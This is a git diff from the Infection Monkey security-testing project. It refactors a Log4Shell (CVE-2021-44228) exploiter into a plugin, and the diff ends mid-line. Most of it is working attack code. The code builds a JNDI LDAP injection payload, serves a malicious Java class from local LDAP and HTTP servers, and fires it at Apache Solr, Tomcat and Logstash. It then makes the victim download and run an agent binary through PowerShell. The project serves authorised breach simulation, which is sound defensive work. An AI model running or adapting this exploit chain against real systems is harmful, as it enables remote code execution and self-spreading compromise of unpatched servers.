+supported_operating_systems: + - linux + - windows +target_operating_systems: + - linux + - windows +title: Log4Shell Exploiter +version: 2.0.0 +description: >- + Exploits a software vulnerability (CVE-2021-44228) in Apache Log4j, a Java + logging framework. Exploitation is attempted on the following services — + Apache Solr, Apache Tomcat, Logstash. +link_to_documentation: https://techdocs.akamai.com/infection-monkey/docs/log4shell/ +safe: true +remediation_suggestion: >- + Upgrade the Apache Log4j component to version 2.15.0 or later. + + The server is vulnerable to the Log4Shell remote code execution attack + + This attack was possible due to an old version of Apache Log4j component + ([CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)). diff --git a/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md b/monkey/agent_plugins/exploiters/log4shell/src/JAVA_CLASS_README.md similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md rename to monkey/agent_plugins/exploiters/log4shell/src/JAVA_CLASS_README.md diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template b/monkey/agent_plugins/exploiters/log4shell/src/LinuxExploit.class.template similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.class.template rename to monkey/agent_plugins/exploiters/log4shell/src/LinuxExploit.class.template diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java b/monkey/agent_plugins/exploiters/log4shell/src/LinuxExploit.java similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java rename to monkey/agent_plugins/exploiters/log4shell/src/LinuxExploit.java diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template b/monkey/agent_plugins/exploiters/log4shell/src/WindowsExploit.class.template similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.class.template rename to monkey/agent_plugins/exploiters/log4shell/src/WindowsExploit.class.template diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java b/monkey/agent_plugins/exploiters/log4shell/src/WindowsExploit.java similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java rename to monkey/agent_plugins/exploiters/log4shell/src/WindowsExploit.java diff --git a/monkey/agent_plugins/exploiters/log4shell/src/__init__.py b/monkey/agent_plugins/exploiters/log4shell/src/__init__.py new file mode 100644 index 00000000000..b02465295f4 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/src/__init__.py @@ -0,0 +1,4 @@ +from pathlib import Path + +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/agent_plugins/exploiters/log4shell/src/exploit_builder.py similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py rename to monkey/agent_plugins/exploiters/log4shell/src/exploit_builder.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/agent_plugins/exploiters/log4shell/src/ldap_server.py similarity index 84% rename from monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py rename to monkey/agent_plugins/exploiters/log4shell/src/ldap_server.py index 158c626dd29..346607ac325 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/agent_plugins/exploiters/log4shell/src/ldap_server.py @@ -1,13 +1,13 @@ import logging import math -import multiprocessing import tempfile import time from pathlib import Path -from threading import Thread, current_thread +from threading import Event, Thread, current_thread from typing import Optional from ldaptor.protocols.ldap.ldapserver import LDAPServer +from twisted.internet import reactor from twisted.internet.protocol import ServerFactory from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT @@ -95,20 +95,16 @@ def __init__( runtime. """ - # Unlike a forked process, spawned process does not inherit threads or unnecessary file - # descriptors from the parent process. Therefore we use a spawn context for new processes, - # so we carry over as little baggage as possible from the parent process. - self._context = multiprocessing.get_context("spawn") - self._reactor_startup_completed = self._context.Event() + self._reactor_startup_completed = Event() self._ldap_server_port = ldap_server_port self._http_server_ip = http_server_ip self._http_server_port = http_server_port self._storage_dir = storage_dir - self._server_process = None + self._server_thread = None def run(self): """ - Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the + Runs the Log4Shell LDAP exploit server in a thread. This method attempts to start the server and blocks until either the server has successfully started or it times out. :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. @@ -119,24 +115,26 @@ def run(self): # has been stopped. To work around this, the reactor is configured and run in a separate # process. This allows us to run multiple LDAP servers sequentially or simultaneously and # stop each one when we're done with it. - self._server_process = self._context.Process( + # UPDATE: Running the server in a separate process is no longer needed now that + # the Log4Shell exploiter is a plugin. Plugins run in their own processes. + self._server_thread = Thread( # type: ignore[assignment] name=f"{current_thread().name}-LDAPServer-{insecure_generate_random_string(n=8)}", target=self._run_twisted_reactor, daemon=True, ) - self._server_process.start() + self._server_thread.start() # type: ignore[attr-defined] reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) if not reactor_running: - logger.error("The LDAP server failed to start, stopping the server process...") + logger.error("The LDAP server failed to start, stopping the server thread...") self.stop(timeout=LONG_REQUEST_TIMEOUT) raise LDAPServerStartError("An unknown error prevented the LDAP server from starting") logger.debug("The LDAP exploit server has successfully started") def _run_twisted_reactor(self): - from twisted.internet import reactor + # TODO: Try importing reactor at top level when Log4Shell is plugin logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") self._configure_twisted_reactor() @@ -146,13 +144,11 @@ def _run_twisted_reactor(self): # is running. This allows the self.run() function to block until the reactor has # successfully started. Thread(target=self._check_if_reactor_startup_completed, daemon=True).start() - reactor.run() + reactor.run(installSignalHandlers=False) logger.debug("Control returned from twisted to LDAPExploitServer") logger.debug("Exiting twisted process") def _check_if_reactor_startup_completed(self): - from twisted.internet import reactor - check_interval_sec = 0.25 num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) @@ -168,7 +164,6 @@ def _check_if_reactor_startup_completed(self): def _configure_twisted_reactor(self): from ldaptor.interfaces import IConnectedLDAPEntry from twisted.application import service - from twisted.internet import reactor from twisted.python.components import registerAdapter LDAPExploitServer._output_twisted_logs_to_python_logger() @@ -202,20 +197,19 @@ def stop(self, timeout: Optional[float] = None): terminates. If `timeout` is a positive floating point number, this method blocks for at most `timeout` seconds. """ - if self._server_process is None: + if self._server_thread is None: return - if self._server_process.is_alive(): + if self._server_thread.is_alive(): logger.debug("Stopping LDAP exploit server") - # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully - # shutdown. - self._server_process.terminate() - self._server_process.join(timeout) + reactor.callFromThread(reactor.stop) + self._server_thread.join(timeout) - if self._server_process.is_alive(): - logger.warning("Timed out while waiting for the LDAP exploit server to stop") - logger.warning("Forcefully killing the LDAP server process") - self._server_process.kill() + if self._server_thread.is_alive(): + logger.warning( + "Timed out while waiting for the LDAP exploit server to stop, " + "it will stop when the parent process terminates" + ) else: logger.debug("Successfully stopped the LDAP exploit server") diff --git a/monkey/agent_plugins/exploiters/log4shell/src/log4shell_command_builder.py b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_command_builder.py new file mode 100644 index 00000000000..184346a5f5f --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_command_builder.py @@ -0,0 +1,44 @@ +from typing import Sequence + +from common import OperatingSystem +from common.types import AgentID +from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from infection_monkey.i_puppet import TargetHost +from infection_monkey.model import DROPPER_ARG +from infection_monkey.utils.commands import ( + build_agent_deploy_command, + build_download_command, + build_monkey_commandline_parameters, + build_run_command, +) + + +def build_log4shell_command( + agent_id: AgentID, + target_host: TargetHost, + servers: Sequence[str], + current_depth: int, + agent_download_url: str, + otp: str, +) -> str: + monkey_path = get_agent_dst_path(target_host) + monkey_args = build_monkey_commandline_parameters( + parent=agent_id, servers=servers, depth=current_depth + 1, location=monkey_path + ) + + if target_host.operating_system in [ + OperatingSystem.WINDOWS, + None, # Based on a quick Shodan search, tomcat seems to be + # the most popular service out of the three that we have, + # and is mostly deployed on Windows. + # If the target host's OS is unknown, default to Windows. + ]: + download_command = "powershell {}".format( + build_download_command(target_host, agent_download_url, monkey_path) + ) + run_command = build_run_command(target_host, otp, monkey_path, [DROPPER_ARG, *monkey_args]) + return " ; ".join([download_command, run_command]) + + return build_agent_deploy_command( + target_host, agent_download_url, otp, [DROPPER_ARG, *monkey_args] + ) diff --git a/monkey/agent_plugins/exploiters/log4shell/src/log4shell_exploit_client.py b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_exploit_client.py new file mode 100644 index 00000000000..a065d356953 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_exploit_client.py @@ -0,0 +1,199 @@ +import logging +from time import time +from typing import Tuple + +from egg_timer import EggTimer + +from common.agent_events import AgentEventTag, ExploitationEvent, PropagationEvent +from common.event_queue import IAgentEventPublisher +from common.tags import ( + BRUTE_FORCE_T1110_TAG, + EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, +) +from common.types import AgentID, Event, NetworkPort +from infection_monkey.i_puppet import TargetHost +from infection_monkey.network.tools import get_interface_to_target + +from .log4shell_options import Log4ShellOptions +from .service_exploiters import get_log4shell_service_exploiters + +logger = logging.getLogger(__name__) + +LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" +EXPLOITER_TAGS = ( + LOG4SHELL_EXPLOITER_TAG, + BRUTE_FORCE_T1110_TAG, + EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, +) +PROPAGATION_TAGS = ( + LOG4SHELL_EXPLOITER_TAG, + EXPLOITATION_FOR_CLIENT_EXECUTION_T1203_TAG, + INGRESS_TOOL_TRANSFER_T1105_TAG, +) + +VICTIM_WAIT_SLEEP_TIME_SEC = 0.050 + + +class Log4ShellExploitClient: + def __init__( + self, exploiter_name: str, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher + ): + self._exploiter_name = exploiter_name + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + + def exploit( + self, + target_host: TargetHost, + options: Log4ShellOptions, + ldap_port: NetworkPort, + agent_binary_downloaded: Event, + exploit_class_downloaded: Event, + service_port: NetworkPort, + interrupt: Event, + ) -> Tuple[bool, bool]: + exploitation_success = False + propagation_success = False + + ldap_payload = Log4ShellExploitClient._build_ldap_payload(target_host, ldap_port) + + for service_exploiter in get_log4shell_service_exploiters(): + try: + logger.debug( + f'Attempting Log4Shell exploit for service "{service_exploiter.service_name}"' + f"on port {service_port}" + ) + timestamp = time() + service_exploiter.trigger_exploit( + ldap_payload, + target_host, + service_port, + ) + exploitation_success, propagation_success = self._wait_for_exploit( + target_host, + options, + agent_binary_downloaded, + exploit_class_downloaded, + timestamp, + interrupt, + ) + if exploitation_success: + break + except Exception: + logger.exception( + "An exception was encountered while attempting to exploit Log4Shell" + f" for service {service_exploiter.service_name}" + ) + + return exploitation_success, propagation_success + + @staticmethod + def _build_ldap_payload(target_host: TargetHost, ldap_port: NetworkPort) -> str: + interface_ip = get_interface_to_target(str(target_host.ip)) + return f"${{jndi:ldap://{interface_ip}:{ldap_port}/dn=Exploit}}" + + def _wait_for_exploit( + self, + target_host: TargetHost, + options: Log4ShellOptions, + agent_binary_downloaded: Event, + exploit_class_downloaded: Event, + timestamp: float, + interrupt: Event, + ) -> Tuple[bool, bool]: + exploitation_success = False + propagation_success = False + + exploitation_success = Log4ShellExploitClient._wait_for_victim_to_download_java_bytecode( + exploit_class_downloaded, options.exploit_download_timeout, interrupt + ) + if not exploitation_success: + error_message = "Timed out while waiting for victim to download the Java bytecode" + logger.debug(error_message) + self._publish_exploitation_event( + target_host=target_host, time=timestamp, success=False, error_message=error_message + ) + return exploitation_success, propagation_success + + self._publish_exploitation_event(target_host=target_host, time=timestamp, success=True) + + propagation_success = Log4ShellExploitClient._wait_for_victim_to_download_agent( + agent_binary_downloaded, options.agent_binary_download_timeout, interrupt + ) + if not propagation_success: + error_message = "Timed out while waiting for victim to download the Agent binary" + logger.debug(error_message) + self._publish_propagation_event( + target_host=target_host, time=timestamp, success=False, error_message=error_message + ) + return exploitation_success, propagation_success + + self._publish_propagation_event(target_host, success=propagation_success) + + return exploitation_success, propagation_success + + @staticmethod + def _wait_for_victim_to_download_java_bytecode( + exploit_class_downloaded: Event, exploit_download_timeout: float, interrupt: Event + ) -> bool: + return Log4ShellExploitClient._wait_for_event( + exploit_class_downloaded, exploit_download_timeout, interrupt + ) + + @staticmethod + def _wait_for_victim_to_download_agent( + agent_binary_downloaded: Event, agent_binary_download_timeout: float, interrupt: Event + ) -> bool: + return Log4ShellExploitClient._wait_for_event( + agent_binary_downloaded, agent_binary_download_timeout, interrupt + ) + + @staticmethod + def _wait_for_event(event: Event, timeout: float, interrupt: Event) -> bool: + timer = EggTimer() + timer.set(timeout) + + while not timer.is_expired() and not interrupt.is_set(): + if event.wait(VICTIM_WAIT_SLEEP_TIME_SEC): + return True + + return event.is_set() + + def _publish_exploitation_event( + self, + target_host: TargetHost, + time: float = time(), + success: bool = False, + tags: Tuple[AgentEventTag, ...] = tuple(), + error_message: str = "", + ): + exploitation_event = ExploitationEvent( + source=self._agent_id, + target=target_host.ip, + success=success, + exploiter_name=self._exploiter_name, + error_message=error_message, + timestamp=time, + tags=frozenset(tags or EXPLOITER_TAGS), + ) + self._agent_event_publisher.publish(exploitation_event) + + def _publish_propagation_event( + self, + target_host: TargetHost, + time: float = time(), + success: bool = False, + tags: Tuple[AgentEventTag, ...] = tuple(), + error_message: str = "", + ): + propagation_event = PropagationEvent( + source=self._agent_id, + target=target_host.ip, + success=success, + exploiter_name=self._exploiter_name, + error_message=error_message, + timestamp=time, + tags=frozenset(tags or PROPAGATION_TAGS), + ) + self._agent_event_publisher.publish(propagation_event) diff --git a/monkey/agent_plugins/exploiters/log4shell/src/log4shell_exploiter.py b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_exploiter.py new file mode 100644 index 00000000000..2fd21e5af6c --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_exploiter.py @@ -0,0 +1,255 @@ +import logging +from typing import Sequence, Set + +from common import OperatingSystem +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from common.types import AgentID, Event, NetworkPort, SocketAddress +from infection_monkey.exploit import ( + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, + ReservationID, + use_agent_binary, +) +from infection_monkey.exploit.tools import HTTPBytesServer +from infection_monkey.i_puppet import ExploiterResult, TargetHost +from infection_monkey.network import TCPPortSelector +from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.utils.threading import interruptible_iter + +from . import LINUX_EXPLOIT_TEMPLATE_PATH, WINDOWS_EXPLOIT_TEMPLATE_PATH +from .exploit_builder import build_exploit_bytecode +from .ldap_server import LDAPExploitServer +from .log4shell_command_builder import build_log4shell_command +from .log4shell_exploit_client import Log4ShellExploitClient +from .log4shell_options import Log4ShellOptions + +logger = logging.getLogger(__name__) + + +SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT + + +class Log4ShellExploiter: + def __init__( + self, + agent_id: AgentID, + log4shell_exploit_client: Log4ShellExploitClient, + tcp_port_selector: TCPPortSelector, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, + otp_provider: IAgentOTPProvider, + ): + self._agent_id = agent_id + self._log4shell_exploit_client = log4shell_exploit_client + self._tcp_port_selector = tcp_port_selector + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar + self._otp_provider = otp_provider + + def exploit_host( + self, + target_host: TargetHost, + ports_to_try: Set[NetworkPort], + servers: Sequence[str], + current_depth: int, + options: Log4ShellOptions, + interrupt: Event, + ) -> ExploiterResult: + self._host = target_host + + logger.info(f"Starting Log4Shell exploiter for host: {self._host.ip}") + + self._configure_servers() + if not self._server_configured_successfully(): + msg = ( + "Could not assign ports/interfaces to one or more servers " + "that are required for the exploit" + ) + logger.exception(msg) + return ExploiterResult(error_message=msg) + + try: + logger.debug("Starting the Agent binary server") + download_ticket = self._http_agent_binary_server_registrar.reserve_download( + target_host.operating_system, target_host.ip, use_agent_binary + ) + except Exception as err: + msg = ( + "An unexpected exception occurred while attempting to start the Agent binary HTTP " + f"server: {err}" + ) + logger.exception(msg) + return ExploiterResult(error_message=msg) + + command = build_log4shell_command( + self._agent_id, + self._host, + servers, + current_depth, + download_ticket.download_url, + self._otp_provider.get_otp(), + ) + + # Start HTTP server to serve malicious java class to victim + try: + self._start_class_http_server(command) + except Exception as err: + msg = ( + "An unexpected exception occurred while attempting to start the " + f"exploit class HTTP server: {err}" + ) + logger.exception(msg) + + _clear_agent_binary_reservation( + self._http_agent_binary_server_registrar, download_ticket.id + ) + + return ExploiterResult(error_message=msg) + + # Start LDAP server to redirect LDAP query to java class server + try: + self._start_ldap_server() + except Exception as err: + msg = ( + "An unexpected exception occurred while attempting to start the " + f"LDAP server: {err}" + ) + logger.exception(msg) + + _clear_agent_binary_reservation( + self._http_agent_binary_server_registrar, download_ticket.id + ) + self._stop_exploit_class_http_server() + + return ExploiterResult(error_message=msg) + + try: + logger.debug(f"Running Log4Shell against host: {self._host.ip}") + return self._exploit_ports( + options, + download_ticket.download_completed, + interrupt, + ports_to_try, + command, + ) + except Exception as err: + msg = ( + "An unexpected exception occurred while attempting to exploit the host " + f'"{self._host.ip}" with the Log4Shell exploiter: {err}' + ) + logger.exception(msg) + return ExploiterResult(error_message=msg) + finally: + _clear_agent_binary_reservation( + self._http_agent_binary_server_registrar, download_ticket.id + ) + self._stop_exploit_class_http_server() + self._stop_ldap_server() + + def _configure_servers(self): + self._ldap_port = self._tcp_port_selector.get_free_tcp_port() + + self._class_http_server_ip = get_interface_to_target(str(self._host.ip)) + self._class_http_server_port = self._tcp_port_selector.get_free_tcp_port() + + self._ldap_server = None + self._exploit_class_http_server = None + + def _server_configured_successfully(self) -> bool: + # Checking these beforehand so they don't cause unexpected exceptions + # when trying to start the servers, and so that the Agent binary server + # isn't started for nothing + + return not any( + [ + value is None + for value in [ + self._ldap_port, + self._class_http_server_ip, + self._class_http_server_port, + ] + ] + ) + + def _start_class_http_server(self, command: str): + java_class = self._build_java_class(command) + self._exploit_class_http_server = HTTPBytesServer( + SocketAddress(ip=self._class_http_server_ip, port=self._class_http_server_port), + java_class, + ) + self._exploit_class_http_server.start() + + def _build_java_class(self, exploit_command: str) -> bytes: + if OperatingSystem.LINUX == self._host.operating_system: + return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) + else: + return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) + + def _start_ldap_server(self): + self._ldap_server = LDAPExploitServer( + ldap_server_port=self._ldap_port, # type: ignore [arg-type] + http_server_ip=self._class_http_server_ip, # type: ignore [arg-type] + http_server_port=self._class_http_server_port, # type: ignore [arg-type] + storage_dir=get_monkey_dir_path(), + ) + self._ldap_server.run() + + def _exploit_ports( + self, + options: Log4ShellOptions, + agent_binary_downloaded: Event, + interrupt: Event, + ports_to_try: Set[NetworkPort], + command: str, + ) -> ExploiterResult: + exploit_result = ExploiterResult() + + for port in interruptible_iter(ports_to_try, interrupt): + logger.debug(f"Attempting to exploit host: {self._host.ip} on port: {port}") + ( + exploit_result.exploitation_success, + exploit_result.propagation_success, + ) = self._log4shell_exploit_client.exploit( + target_host=self._host, + options=options, + ldap_port=self._ldap_port, + agent_binary_downloaded=agent_binary_downloaded, + exploit_class_downloaded=self._exploit_class_http_server.bytes_downloaded, + service_port=port, + interrupt=interrupt, + ) + + if exploit_result.exploitation_success is True: + break + + return exploit_result + + def _stop_exploit_class_http_server(self): + try: + logger.debug("Stopping the exploit class HTTP server") + self._exploit_class_http_server.stop( # type: ignore [union-attr] + SERVER_SHUTDOWN_TIMEOUT + ) + except Exception: + logger.exception( + "An unexpected error occurred while stopping the exploit class HTTP server" + ) + + def _stop_ldap_server(self): + try: + logger.debug("Stopping the LDAP server") + self._ldap_server.stop(SERVER_SHUTDOWN_TIMEOUT) # type: ignore [union-attr] + except Exception: + logger.exception("An unexpected error occurred while stopping the LDAP server") + + +def _clear_agent_binary_reservation( + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, + reservation_id: ReservationID, +): + try: + logger.debug("Clearing the Agent binary download reservation") + http_agent_binary_server_registrar.clear_reservation(reservation_id) + except Exception: + logger.exception( + "An unexpected error occurred while clearing the Agent binary download reservation" + ) diff --git a/monkey/agent_plugins/exploiters/log4shell/src/log4shell_options.py b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_options.py new file mode 100644 index 00000000000..b83a11641c4 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/src/log4shell_options.py @@ -0,0 +1,32 @@ +from typing import List + +from pydantic import Field + +from common.base_models import InfectionMonkeyBaseModel +from common.types import NetworkPort + + +class Log4ShellOptions(InfectionMonkeyBaseModel): + target_ports: List[NetworkPort] = Field( + default=[8000, 8080, 8983, 9600], + description="A list of HTTP ports that the Log4Shell exploiter will try to exploit.", + ) + try_all_discovered_http_ports: bool = Field( + default=False, + description=( + "Attempt to exploit Log4Shell on all HTTP ports discovered from network scanning." + ), + ) + exploit_download_timeout: float = Field( + gt=0.0, + default=5.0, + description="The maximum time (in seconds) to wait for the victim to download the exploit.", + ) + agent_binary_download_timeout: float = Field( + gt=0.0, + default=15.0, + description=( + "The maximum time (in seconds) to wait for a successfully exploited server to download " + "the agent binary." + ), + ) diff --git a/monkey/agent_plugins/exploiters/log4shell/src/plugin.py b/monkey/agent_plugins/exploiters/log4shell/src/plugin.py new file mode 100644 index 00000000000..71e8a74ae17 --- /dev/null +++ b/monkey/agent_plugins/exploiters/log4shell/src/plugin.py @@ -0,0 +1,105 @@ +import logging +from pprint import pformat +from typing import Any, Dict, List, Sequence, Set + +# common imports +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, Event, NetworkPort +from common.utils.code_utils import del_key + +# dependencies to get rid of or internalize +from infection_monkey.exploit import IAgentOTPProvider, IHTTPAgentBinaryServerRegistrar +from infection_monkey.exploit.tools import filter_out_closed_ports, get_open_http_ports +from infection_monkey.i_puppet import ExploiterResult, TargetHost +from infection_monkey.network import TCPPortSelector + +from .log4shell_exploit_client import Log4ShellExploitClient +from .log4shell_exploiter import Log4ShellExploiter +from .log4shell_options import Log4ShellOptions + +logger = logging.getLogger(__name__) + + +def get_ports_to_try( + host: TargetHost, target_ports: List[NetworkPort], try_all_discovered_http_ports: bool +) -> Set[NetworkPort]: + ports_to_try = filter_out_closed_ports(host, target_ports) + if try_all_discovered_http_ports: + ports_to_try.update(get_open_http_ports(host)) + + return ports_to_try + + +def should_attempt_exploit(ports_to_try: Set[NetworkPort]) -> bool: + return bool(ports_to_try) + + +class Plugin: + def __init__( + self, + *, + plugin_name: str, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, + tcp_port_selector: TCPPortSelector, + otp_provider: IAgentOTPProvider, + **kwargs, + ): + log4shell_exploit_client = Log4ShellExploitClient( + plugin_name, agent_id, agent_event_publisher + ) + + self._log4shell_exploiter = Log4ShellExploiter( + agent_id=agent_id, + log4shell_exploit_client=log4shell_exploit_client, + tcp_port_selector=tcp_port_selector, + http_agent_binary_server_registrar=http_agent_binary_server_registrar, + otp_provider=otp_provider, + ) + + def run( + self, + *, + host: TargetHost, + servers: Sequence[str], + current_depth: int, + options: Dict[str, Any], + interrupt: Event, + **kwargs, + ) -> ExploiterResult: + # HTTP ports options are hack because they are needed in fingerprinters + del_key(options, "http_ports") + + try: + logger.debug(f"Parsing options: {pformat(options)}") + log4shell_options = Log4ShellOptions(**options) + except Exception as err: + msg = f"Failed to parse Log4Shell options: {err}" + logger.exception(msg) + return ExploiterResult(error_message=msg) + + self._ports_to_try = get_ports_to_try( + host, log4shell_options.target_ports, log4shell_options.try_all_discovered_http_ports + ) + if not should_attempt_exploit(self._ports_to_try): + msg = f"Could not find any open web ports to exploit on host {host.ip}" + logger.debug(msg) + return ExploiterResult( + exploitation_success=False, propagation_success=False, error_message=msg + ) + + try: + logger.debug(f"Running Log4Shell exploiter on host {host.ip}") + return self._log4shell_exploiter.exploit_host( + target_host=host, + ports_to_try=self._ports_to_try, + servers=servers, + current_depth=current_depth, + options=log4shell_options, + interrupt=interrupt, + ) + except Exception as err: + msg = f"An unexpected exception occurred while attempting to exploit host: {err}" + logger.exception(msg) + return ExploiterResult(error_message=msg) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/__init__.py similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py rename to monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/__init__.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/i_service_exploiter.py similarity index 100% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py rename to monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/i_service_exploiter.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/logstash.py similarity index 87% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py rename to monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/logstash.py index 5543dfe9258..0271c027157 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py +++ b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/logstash.py @@ -3,9 +3,10 @@ import requests from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT -from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.i_puppet import TargetHost +from .i_service_exploiter import IServiceExploiter + logger = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/solr.py similarity index 87% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py rename to monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/solr.py index f1437fba225..c4201873a3f 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/solr.py @@ -3,9 +3,10 @@ import requests from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT -from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.i_puppet import TargetHost +from .i_service_exploiter import IServiceExploiter + logger = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/tomcat.py similarity index 73% rename from monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py rename to monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/tomcat.py index 0defa5dcef4..3e99caffe1b 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/agent_plugins/exploiters/log4shell/src/service_exploiters/tomcat.py @@ -3,9 +3,10 @@ import requests from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT -from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter from infection_monkey.i_puppet import TargetHost +from .i_service_exploiter import IServiceExploiter + logger = getLogger(__name__) @@ -15,10 +16,10 @@ class TomcatExploit(IServiceExploiter): @staticmethod def trigger_exploit(payload: str, host: TargetHost, port: int): url = f"http://{host.ip}:{port}/examples/servlets/servlet/SessionExample" - payload = {"dataname": "foo", "datavalue": payload} + payload_data = {"dataname": "foo", "datavalue": payload} try: requests.post( # noqa DUO123 - url, data=payload, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False + url, data=payload_data, timeout=MEDIUM_REQUEST_TIMEOUT, verify=False ) except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/agent_plugins/exploiters/mssql/manifest.yaml b/monkey/agent_plugins/exploiters/mssql/manifest.yaml index ff154feec6a..bf927f10847 100644 --- a/monkey/agent_plugins/exploiters/mssql/manifest.yaml +++ b/monkey/agent_plugins/exploiters/mssql/manifest.yaml @@ -6,7 +6,7 @@ supported_operating_systems: target_operating_systems: - windows title: MSSQL Exploiter -version: 1.0.0 +version: 2.0.0 description: >- Attempts a brute-force attack against Microsoft SQL using known credentials and takes advantage of insecure configuration to execute commands on the diff --git a/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py b/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py index b2feb058100..9db344b60ca 100644 --- a/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py +++ b/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py @@ -6,8 +6,8 @@ from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import DROPPER_ARG, SET_OTP_WINDOWS from infection_monkey.utils.commands import ( + build_download_command_windows_powershell_webclient, build_monkey_commandline, - download_command_windows_powershell_webclient, ) @@ -15,7 +15,7 @@ def build_mssql_agent_download_command( agent_download_url: str, remote_agent_binary_destination_path: PureWindowsPath ) -> str: command = "powershell {}".format( - download_command_windows_powershell_webclient( + build_download_command_windows_powershell_webclient( url=agent_download_url, dst=remote_agent_binary_destination_path ) ) diff --git 